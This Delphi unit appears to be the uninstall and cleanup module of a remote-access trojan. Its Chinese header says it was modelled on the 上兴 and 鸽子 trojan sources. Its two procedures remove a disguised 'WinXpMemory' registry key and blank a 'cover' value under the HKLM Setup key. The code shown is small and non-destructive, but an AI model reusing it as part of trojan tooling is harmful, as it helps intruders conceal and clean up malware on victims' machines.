unitinstalacion.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UnitInstalacion;

interface

uses
  Windows,
  SysUtils,
  TLHelp32,
  registry,
  ShellApi,
  SettingsDef,
  UnitVariables,
  UnitFunciones,
  UnitProcess,
  UnitFileManager,
  UnitRegistro;

procedure Desinstalar();
procedure delcpass;   //删除升级密码配置
implementation




var  ThreadAutoInicioID : Cardinal;



procedure Desinstalar();
var
  Clave : String;
begin
  Clave := 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinXpMemory';
  BorraClave(Clave);
end;
procedure delcpass;   //删除升级密码配置
var reg:Tregistry;
begin
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
if reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',false) then
reg.writeString('cover','');
reg.CloseKey;
reg.Free;
end;
end.